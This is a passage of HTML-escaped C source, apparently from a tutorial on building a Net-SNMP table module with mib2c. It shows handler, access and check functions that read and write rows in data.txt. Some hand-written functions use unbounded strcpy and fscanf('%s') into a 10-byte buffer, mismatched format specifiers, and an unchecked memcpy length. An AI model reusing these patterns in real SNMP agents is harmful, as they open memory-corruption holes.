/&gt;&lt;br /&gt;            case MODE_SET_COMMIT:&lt;br /&gt;&lt;br /&gt;                if (!ci-&gt;have_committed) {&lt;br /&gt;&lt;br /&gt;                    /** do this once per row only */&lt;br /&gt;&lt;br /&gt;                    ExampleTable_commit_row(&amp;ci-&gt;data_context, ci-&gt;new_row);&lt;br /&gt;&lt;br /&gt;                    ci-&gt;have_committed = 1;&lt;br /&gt;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            case MODE_SET_UNDO:&lt;br /&gt;&lt;br /&gt;             /** save a variable copy */&lt;br /&gt;&lt;br /&gt;                switch(table_info-&gt;colnum) {&lt;br /&gt;&lt;br /&gt;                          case COLUMN_MONSET:&lt;br /&gt;&lt;br /&gt;                            {&lt;br /&gt;&lt;br /&gt;                                int retval;&lt;br /&gt;&lt;br /&gt;                                struct undoInfo *ui;&lt;br /&gt;&lt;br /&gt;                                ui = netsnmp_oid_stash_get_data(undoStorage,&lt;br /&gt;&lt;br /&gt;                                                                suffix,&lt;br /&gt;&lt;br /&gt;                                                                suffix_len);&lt;br /&gt;&lt;br /&gt;                                retval = set_MonSet(ci-&gt;data_context, ui-&gt;ptr,&lt;br /&gt;&lt;br /&gt;                                                ui-&gt;len);&lt;br /&gt;&lt;br /&gt;                                if (retval) {&lt;br /&gt;&lt;br /&gt;                                    netsnmp_set_request_error(reqinfo, request,&lt;br /&gt;&lt;br /&gt;                                                              SNMP_ERR_UNDOFAILED);&lt;br /&gt;&lt;br /&gt;                                }&lt;br /&gt;&lt;br /&gt;                            }&lt;br /&gt;&lt;br /&gt;                            break;&lt;br /&gt;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;              &lt;br /&gt;&lt;br /&gt;            case MODE_SET_FREE:&lt;br /&gt;&lt;br /&gt;                break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            default:&lt;br /&gt;&lt;br /&gt;                snmp_log(LOG_ERR, &quot;problem encountered in ExampleTable_handler: unsupported mode\n&quot;);&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** clean up after all requset processing has ended */&lt;br /&gt;&lt;br /&gt;    switch(reqinfo-&gt;mode) {&lt;br /&gt;&lt;br /&gt;    case MODE_SET_UNDO:&lt;br /&gt;&lt;br /&gt;    case MODE_SET_FREE:&lt;br /&gt;&lt;br /&gt;    case MODE_SET_COMMIT:&lt;br /&gt;&lt;br /&gt;        /** clear out the undo cache */&lt;br /&gt;&lt;br /&gt;        netsnmp_oid_stash_free(&amp;undoStorage, ExampleTable_free_undoInfo);&lt;br /&gt;&lt;br /&gt;        netsnmp_oid_stash_free(&amp;commitStorage, netsnmp_oid_stash_no_free);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    return SNMP_ERR_NOERROR;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;6.3.2       ExampleTable.h&lt;br /&gt;&lt;br /&gt;/*ExampleTable.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.iterate_access.conf,v 1.11 2004/08/31 10:23:16 dts12 Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef EXAMPLETABLE_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** other required module components */&lt;br /&gt;&lt;br /&gt;config_require(ExampleTable_access)&lt;br /&gt;&lt;br /&gt;config_require(ExampleTable_checkfns)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* function declarations */&lt;br /&gt;&lt;br /&gt;void init_ExampleTable(void);&lt;br /&gt;&lt;br /&gt;void initialize_table_ExampleTable(void);&lt;br /&gt;&lt;br /&gt;Netsnmp_Node_Handler ExampleTable_handler;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* column number definitions for table ExampleTable */&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_columns.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* enum definions */&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_enums.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /** EXAMPLETABLE_H */&lt;br /&gt;6.3.3       ExampleTable_access.c&lt;br /&gt;&lt;br /&gt;/*ExampleTable_access.c*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.access_functions.conf,v 1.9 2004/10/14 12:57:33 dts12 Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/agent/net-snmp-agent-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_access.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_enums.h&quot;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct ExampleTable_entry {&lt;br /&gt;&lt;br /&gt;    long MachineNumber;&lt;br /&gt;&lt;br /&gt;    char MachineStatus[10];&lt;br /&gt;&lt;br /&gt;    u_long CheckTime;&lt;br /&gt;&lt;br /&gt;    long   MonSet;&lt;br /&gt;&lt;br /&gt;    struct ExampleTable_entry *next;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct ExampleTable_entry  *ExampleTable_head=NULL;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* create a new row in the (unsorted) table */&lt;br /&gt;&lt;br /&gt;struct ExampleTable_entry *&lt;br /&gt;&lt;br /&gt;ExampleTable_createEntry(long  MachineNumber,&lt;br /&gt;&lt;br /&gt;                                           char *MachineStatus,&lt;br /&gt;&lt;br /&gt;                                           u_long CheckTime,&lt;br /&gt;&lt;br /&gt;                                           long MonSet&lt;br /&gt;&lt;br /&gt;                                                      )&lt;br /&gt;&lt;br /&gt; {&lt;br /&gt;&lt;br /&gt;    struct ExampleTable_entry *entry;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    entry = SNMP_MALLOC_TYPEDEF(struct ExampleTable_entry);&lt;br /&gt;&lt;br /&gt;    if (!entry)&lt;br /&gt;&lt;br /&gt;        return NULL;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    entry-&gt;MachineNumber = MachineNumber;&lt;br /&gt;&lt;br /&gt;    strcpy(entry-&gt;MachineStatus ,MachineStatus);&lt;br /&gt;&lt;br /&gt;    entry-&gt;CheckTime     = CheckTime;&lt;br /&gt;&lt;br /&gt;       entry-&gt;MonSet        =MonSet;&lt;br /&gt;&lt;br /&gt;    entry-&gt;next          = ExampleTable_head;&lt;br /&gt;&lt;br /&gt;    ExampleTable_head    = entry;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    return entry;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* remove a row from the table */&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;&lt;br /&gt;ExampleTable_removeEntry( struct ExampleTable_entry *entry )&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    struct ExampleTable_entry *ptr, *prev;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if (!entry)&lt;br /&gt;&lt;br /&gt;        return;    /* Nothing to remove */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    for ( ptr  = ExampleTable_head, prev = NULL;&lt;br /&gt;&lt;br /&gt;          ptr != NULL;&lt;br /&gt;&lt;br /&gt;          prev = ptr, ptr = ptr-&gt;next ) {&lt;br /&gt;&lt;br /&gt;        if ( ptr == entry )&lt;br /&gt;&lt;br /&gt;            break;&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if ( !ptr )&lt;br /&gt;&lt;br /&gt;        return;    /* Can&#39;t find it */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if ( prev == NULL )&lt;br /&gt;&lt;br /&gt;        ExampleTable_head = ptr-&gt;next;&lt;br /&gt;&lt;br /&gt;    else&lt;br /&gt;&lt;br /&gt;        prev-&gt;next = ptr-&gt;next;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     SNMP_FREE( entry );   /* XXX - release any other internal resources */&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void data_read(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;       FILE *fp;&lt;br /&gt;&lt;br /&gt;  int i;&lt;br /&gt;&lt;br /&gt;  struct  ExampleTable_entry *temp;&lt;br /&gt;&lt;br /&gt;      fp=fopen(&quot;data.txt&quot;,&quot;r&quot;);&lt;br /&gt;&lt;br /&gt;      while (ExampleTable_head)/*clean link list begin*/&lt;br /&gt;&lt;br /&gt;              {&lt;br /&gt;&lt;br /&gt;                     temp=ExampleTable_head-&gt;next;&lt;br /&gt;&lt;br /&gt;                     ExampleTable_removeEntry(ExampleTable_head);&lt;br /&gt;&lt;br /&gt;                     ExampleTable_head=temp;&lt;br /&gt;&lt;br /&gt;              }/*clean link list end*/&lt;br /&gt;&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;       temp=SNMP_MALLOC_TYPEDEF(struct ExampleTable_entry);&lt;br /&gt;&lt;br /&gt;       temp-&gt;next=NULL;&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;     /*set up a link list begin*/&lt;br /&gt;&lt;br /&gt;       if(fp)&lt;br /&gt;&lt;br /&gt;       {&lt;br /&gt;&lt;br /&gt;  i=fscanf(fp,&quot;%d %s %d %d&quot;,&amp;temp-&gt;MachineNumber, temp-&gt;MachineStatus, &amp;temp-&gt;CheckTime,&amp;temp-&gt;MonSet);&lt;br /&gt;&lt;br /&gt;  /*fscanf return reading var numbers .if EOF return -1.feof() dosen&#39;t work well*/&lt;br /&gt;&lt;br /&gt;       while(i&gt;0)&lt;br /&gt;&lt;br /&gt;  {&lt;br /&gt;&lt;br /&gt;              ExampleTable_createEntry(temp-&gt;MachineNumber,temp-&gt;MachineStatus,temp-&gt;CheckTime,temp-&gt;MonSet);&lt;br /&gt;&lt;br /&gt;              i=fscanf(fp,&quot;%d %s %d %d&quot;,&amp;temp-&gt;MachineNumber, temp-&gt;MachineStatus, &amp;temp-&gt;CheckTime,&amp;temp-&gt;MonSet);&lt;br /&gt;&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;SNMP_FREE(temp);&lt;br /&gt;&lt;br /&gt;fclose(fp);/*set up a link list end*/&lt;br /&gt;&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       else&lt;br /&gt;&lt;br /&gt;       {&lt;br /&gt;&lt;br /&gt;              printf(&quot;Error:Can&#39;t open data.txt!\n&quot;);&lt;br /&gt;&lt;br /&gt;              /*exit(1);*/&lt;br /&gt;&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;static u_long long_ret;&lt;br /&gt;&lt;br /&gt;/** returns the first data point within the ExampleTable table data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Set the my_loop_context variable to the first data point structure&lt;br /&gt;&lt;br /&gt;    of your choice (from which you can find the next one).  This could&lt;br /&gt;&lt;br /&gt;    be anything from the first node in a linked list, to an integer&lt;br /&gt;&lt;br /&gt;    pointer containing the beginning of an array variable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Set the my_data_context variable to something to be returned to&lt;br /&gt;&lt;br /&gt;    you later that will provide you with the data to return in a given&lt;br /&gt;&lt;br /&gt;    row.  This could be the same pointer as what my_loop_context is&lt;br /&gt;&lt;br /&gt;    set to, or something different.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    The put_index_data variable contains a list of snmp variable&lt;br /&gt;&lt;br /&gt;    bindings, one for each index in your table.  Set the values of&lt;br /&gt;&lt;br /&gt;    each appropriately according to the data matching the first row&lt;br /&gt;&lt;br /&gt;    and return the put_index_data variable at the end of the function.&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;netsnmp_variable_list *&lt;br /&gt;&lt;br /&gt;ExampleTable_get_first_data_point(void **my_loop_context, void **my_data_context,&lt;br /&gt;&lt;br /&gt;                          netsnmp_variable_list *put_index_data,&lt;br /&gt;&lt;br /&gt;                          netsnmp_iterator_info *mydata)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    data_read();&lt;br /&gt;&lt;br /&gt;    *my_loop_context = ExampleTable_head;&lt;br /&gt;&lt;br /&gt;    *my_data_context = ExampleTable_head;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;return ExampleTable_get_next_data_point(my_loop_context, my_data_context,&lt;br /&gt;&lt;br /&gt;                                    put_index_data,  mydata );&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** functionally the same as ExampleTable_get_first_data_point, but&lt;br /&gt;&lt;br /&gt;   my_loop_context has already been set to a previous value and should&lt;br /&gt;&lt;br /&gt;   be updated to the next in the list.  For example, if it was a&lt;br /&gt;&lt;br /&gt;   linked list, you might want to cast it to your local data type and&lt;br /&gt;&lt;br /&gt;   then return my_loop_context-&gt;next.  The my_data_context pointer&lt;br /&gt;&lt;br /&gt;   should be set to something you need later and the indexes in&lt;br /&gt;&lt;br /&gt;   put_index_data updated again. */&lt;br /&gt;&lt;br /&gt;netsnmp_variable_list *&lt;br /&gt;&lt;br /&gt;ExampleTable_get_next_data_point(void **my_loop_context, void **my_data_context,&lt;br /&gt;&lt;br /&gt;                         netsnmp_variable_list *put_index_data,&lt;br /&gt;&lt;br /&gt;                         netsnmp_iterator_info *mydata)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;       struct ExampleTable_entry *entry = (struct ExampleTable_entry *)*my_loop_context;&lt;br /&gt;&lt;br /&gt;    netsnmp_variable_list *idx = put_index_data;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if ( entry )&lt;br /&gt;&lt;br /&gt;           {&lt;br /&gt;&lt;br /&gt;        snmp_set_var_value( idx, (u_char *)&amp;entry-&gt;MachineNumber, sizeof(entry-&gt;MachineNumber) );&lt;br /&gt;&lt;br /&gt;        idx = idx-&gt;next_variable;&lt;br /&gt;&lt;br /&gt;        *my_data_context = (void *)entry;&lt;br /&gt;&lt;br /&gt;        *my_loop_context = (struct ExampleTable_entry *)entry-&gt;next;&lt;br /&gt;&lt;br /&gt;           }&lt;br /&gt;&lt;br /&gt;           else&lt;br /&gt;&lt;br /&gt;                  {&lt;br /&gt;&lt;br /&gt;        return NULL;&lt;br /&gt;&lt;br /&gt;                  }&lt;br /&gt;&lt;br /&gt;    return put_index_data;&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** Create a data_context for non-existent rows that SETs are performed on.&lt;br /&gt;&lt;br /&gt; *  return a void * pointer which will be passed to subsequent get_XXX&lt;br /&gt;&lt;br /&gt; *  and set_XXX functions for data retrival and modification during&lt;br /&gt;&lt;br /&gt; *  this SET request.&lt;br /&gt;&lt;br /&gt; *&lt;br /&gt;&lt;br /&gt; *  The indexes are encoded (in order) into the index_data pointer,&lt;br /&gt;&lt;br /&gt; *  and the column object which triggered the row creation is available&lt;br /&gt;&lt;br /&gt; *  via the column parameter, if it would be helpful to use that information.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;void *&lt;br /&gt;&lt;br /&gt;ExampleTable_create_data_context(netsnmp_variable_list *index_data) {&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;    return entry; /* XXX: you likely want to return a real pointer */&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/** If the implemented set_* functions don&#39;t operate directly on the&lt;br /&gt;&lt;br /&gt;   real-live data (which is actually recommended), then this function&lt;br /&gt;&lt;br /&gt;   can be used to take a given my_data_context pointer and &quot;commit&quot; it&lt;br /&gt;&lt;br /&gt;   to whereever the modified data needs to be put back to.  For&lt;br /&gt;&lt;br /&gt;   example, if this was a routing table you could publish the modified&lt;br /&gt;&lt;br /&gt;   routes back into the kernel at this point.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   new_or_del will be set to 1 if new, or -1 if it should be deleted&lt;br /&gt;&lt;br /&gt;   or 0 if it is just a modification of an existing row.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   If you free the data yourself, make sure to *my_data_context = NULL */&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;&lt;br /&gt;ExampleTable_commit_row(void **my_data_context, int new_or_del)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    /** Add any necessary commit code here */&lt;br /&gt;&lt;br /&gt;    /*  */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /* return no errors.  And there shouldn&#39;t be any!!!  Ever!!!  You&lt;br /&gt;&lt;br /&gt;    should have checked the values long before this. */&lt;br /&gt;&lt;br /&gt;    return SNMP_ERR_NOERROR;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* User-defined data access functions (per column) for data in table ExampleTable */&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * NOTE:&lt;br /&gt;&lt;br /&gt; * - these get_ routines MUST return data that will not be freed (ie,&lt;br /&gt;&lt;br /&gt; *   use static variables or persistent data).  It will be copied, if&lt;br /&gt;&lt;br /&gt; *   needed, immediately after the get_ routine has been called.&lt;br /&gt;&lt;br /&gt; * - these SET routines must copy the incoming data and can not take&lt;br /&gt;&lt;br /&gt; *   ownership of the memory passed in by the val pointer.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;/** XXX: return a data pointer to the data for the MachineNumber column and set&lt;br /&gt;&lt;br /&gt;         ret_len to its proper size in bytes. */&lt;br /&gt;&lt;br /&gt;      long *get_MachineNumber(void *data_context, size_t *ret_len) {&lt;br /&gt;&lt;br /&gt;          struct ExampleTable_entry *entry=(struct ExampleTable_entry *)data_context;&lt;br /&gt;&lt;br /&gt;          long_ret=entry-&gt;MachineNumber;&lt;br /&gt;&lt;br /&gt;          *ret_len=sizeof(long_ret);&lt;br /&gt;&lt;br /&gt;        return &amp;long_ret; /** XXX: replace this with a pointer to a real value */&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;/** XXX: return a data pointer to the data for the MachineStatus column and set&lt;br /&gt;&lt;br /&gt;         ret_len to its proper size in bytes. */&lt;br /&gt;&lt;br /&gt;      char *get_MachineStatus(void *data_context, size_t *ret_len) {&lt;br /&gt;&lt;br /&gt;        struct ExampleTable_entry *entry=(struct ExampleTable_entry *)data_context;&lt;br /&gt;&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;          *ret_len=strlen(entry-&gt;MachineStatus);&lt;br /&gt;&lt;br /&gt;        return entry-&gt;MachineStatus; /** XXX: replace this with a pointer to a real value */&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;/** XXX: return a data pointer to the data for the CheckTime column and set&lt;br /&gt;&lt;br /&gt;         ret_len to its proper size in bytes. */&lt;br /&gt;&lt;br /&gt;      u_long *get_CheckTime(void *data_context, size_t *ret_len) {&lt;br /&gt;&lt;br /&gt;        struct ExampleTable_entry *entry=(struct ExampleTable_entry *)data_context;&lt;br /&gt;&lt;br /&gt;          long_ret=entry-&gt;CheckTime;&lt;br /&gt;&lt;br /&gt;          *ret_len=sizeof(long_ret);&lt;br /&gt;&lt;br /&gt;        return &amp;long_ret; /** XXX: replace this with a pointer to a real value */&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;/** XXX: return a data pointer to the data for the MonSet column and set&lt;br /&gt;&lt;br /&gt;         ret_len to its proper size in bytes. */&lt;br /&gt;&lt;br /&gt;      long *get_MonSet(void *data_context, size_t *ret_len) {&lt;br /&gt;&lt;br /&gt;        struct ExampleTable_entry *entry=(struct ExampleTable_entry *)data_context;&lt;br /&gt;&lt;br /&gt;          long_ret=entry-&gt;MonSet;&lt;br /&gt;&lt;br /&gt;          *ret_len=sizeof(long_ret);&lt;br /&gt;&lt;br /&gt;        return &amp;long_ret; /** XXX: replace this with a pointer to a real value */&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;/** XXX: Set the value of the MonSet column and return&lt;br /&gt;&lt;br /&gt;         SNMP_ERR_NOERROR on success&lt;br /&gt;&lt;br /&gt;         SNMP_ERR_XXX     for SNMP deterministic error codes&lt;br /&gt;&lt;br /&gt;         SNMP_ERR_GENERR  on generic failures (a last result response). */&lt;br /&gt;&lt;br /&gt;      int set_MonSet(void *data_context, long *val, size_t val_len) {&lt;br /&gt;&lt;br /&gt;                FILE *fp;&lt;br /&gt;&lt;br /&gt;                struct ExampleTable_entry *temp=ExampleTable_head,*entry=data_context;&lt;br /&gt;&lt;br /&gt;                 memcpy(&amp;entry-&gt;MonSet, val, val_len);&lt;br /&gt;&lt;br /&gt;                 fp=fopen(&quot;data.txt&quot;,&quot;w+&quot;);&lt;br /&gt;&lt;br /&gt;                  if(!fp)&lt;br /&gt;&lt;br /&gt;                     {DEBUGMSGTL((&quot;set_MonSet&quot;,&quot;Open file failure\n&quot;));          &lt;br /&gt;&lt;br /&gt;                     return SNMP_ERR_NOACCESS;&lt;br /&gt;&lt;br /&gt;                     }&lt;br /&gt;&lt;br /&gt;           else&lt;br /&gt;&lt;br /&gt;                 while(temp)&lt;br /&gt;&lt;br /&gt;                 {&lt;br /&gt;&lt;br /&gt;                        fprintf(fp,&quot;\n%d %s %d %d&quot;,temp-&gt;MachineNumber,&lt;br /&gt;&lt;br /&gt;                                             temp-&gt;MachineStatus,&lt;br /&gt;&lt;br /&gt;                                                                  temp-&gt;CheckTime,&lt;br /&gt;&lt;br /&gt;                                                                  temp-&gt;MonSet);&lt;br /&gt;&lt;br /&gt;                        temp=temp-&gt;next;&lt;br /&gt;&lt;br /&gt;                 }&lt;br /&gt;&lt;br /&gt;          fclose(fp);&lt;br /&gt;&lt;br /&gt;        return SNMP_ERR_NOERROR;  /** XXX: change if an error occurs */&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;6.3.4       ExampleTable_access.h&lt;br /&gt;&lt;br /&gt;/*ExampleTable_access.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.access_functions.conf,v 1.9 2004/10/14 12:57:33 dts12 Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef EXAMPLETABLE_ACCESS_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_ACCESS_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** User-defined data access functions for data in table ExampleTable */&lt;br /&gt;&lt;br /&gt;/** row level accessors */&lt;br /&gt;&lt;br /&gt;Netsnmp_First_Data_Point  ExampleTable_get_first_data_point;&lt;br /&gt;&lt;br /&gt;Netsnmp_Next_Data_Point   ExampleTable_get_next_data_point;&lt;br /&gt;&lt;br /&gt;int ExampleTable_commit_row(void **my_data_context, int new_or_del);&lt;br /&gt;&lt;br /&gt;void * ExampleTable_create_data_context(netsnmp_variable_list *index_data, int column);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** column accessors */&lt;br /&gt;&lt;br /&gt;      long *get_MachineNumber(void *data_context, size_t *ret_len);&lt;br /&gt;&lt;br /&gt;      char *get_MachineStatus(void *data_context, size_t *ret_len);&lt;br /&gt;&lt;br /&gt;      u_long *get_CheckTime(void *data_context, size_t *ret_len);&lt;br /&gt;&lt;br /&gt;      long *get_MonSet(void *data_context, size_t *ret_len);&lt;br /&gt;&lt;br /&gt;      int set_MonSet(void *data_context, long *val, size_t val_len);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /* EXAMPLETABLE_ACCESS_H */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6.3.5       ExampleTable_checkfns.c&lt;br /&gt;&lt;br /&gt;/*ExampleTable_checkfns.c*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.check_values.conf,v 1.8 2004/01/12 00:43:45 rstory Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/********************************************************************&lt;br /&gt;&lt;br /&gt; *                       NOTE   NOTE   NOTE&lt;br /&gt;&lt;br /&gt; *   This file is auto-generated and SHOULD NOT BE EDITED by hand.&lt;br /&gt;&lt;br /&gt; *   Modify the ExampleTable_checkfns_local.[ch] files insead so that you&lt;br /&gt;&lt;br /&gt; *   can regenerate this one as mib2c improvements are made.&lt;br /&gt;&lt;br /&gt; ********************************************************************/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* standard headers */&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_checkfns.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_checkfns_local.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_enums.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** Decides if an incoming value for the MonSet mib node is legal.&lt;br /&gt;&lt;br /&gt; *  @param type    The incoming data type.&lt;br /&gt;&lt;br /&gt; *  @param val     The value to be checked.&lt;br /&gt;&lt;br /&gt; *  @param val_len The length of data stored in val (in bytes).&lt;br /&gt;&lt;br /&gt; *  @return 0 if the incoming value is legal, an SNMP error code otherwise.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;    int&lt;br /&gt;&lt;br /&gt;    check_MonSet(int type, long *val, size_t val_len,&lt;br /&gt;&lt;br /&gt;             long *old_val, size_t old_val_len) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    int ret;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** Check to see that we were called legally */&lt;br /&gt;&lt;br /&gt;      if (!val)&lt;br /&gt;&lt;br /&gt;        return SNMP_ERR_GENERR;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** Check the incoming type for correctness */&lt;br /&gt;&lt;br /&gt;      if (type != ASN_INTEGER)&lt;br /&gt;&lt;br /&gt;        return SNMP_ERR_WRONGTYPE;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       ret = SNMP_ERR_NOERROR;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** looks ok, call the local version of the same function. */&lt;br /&gt;&lt;br /&gt;      return check_MonSet_local(type, val, val_len, old_val, old_val_len);&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;6.3.6       ExampleTable_checkfns.h&lt;br /&gt;&lt;br /&gt;/*ExampleTable_checkfns.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.iterate.conf,v 5.6 2003/02/20 00:52:07 hardaker Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/***********************************************************************&lt;br /&gt;&lt;br /&gt; *   This file is auto-generated and SHOULD NOT BE EDITED by hand.&lt;br /&gt;&lt;br /&gt; *   Modify the ExampleTable_checkfns_local.[ch] files insead.&lt;br /&gt;&lt;br /&gt; *   (so that you can regenerate this one as mib2c improvements are made)&lt;br /&gt;&lt;br /&gt; ***********************************************************************/&lt;br /&gt;&lt;br 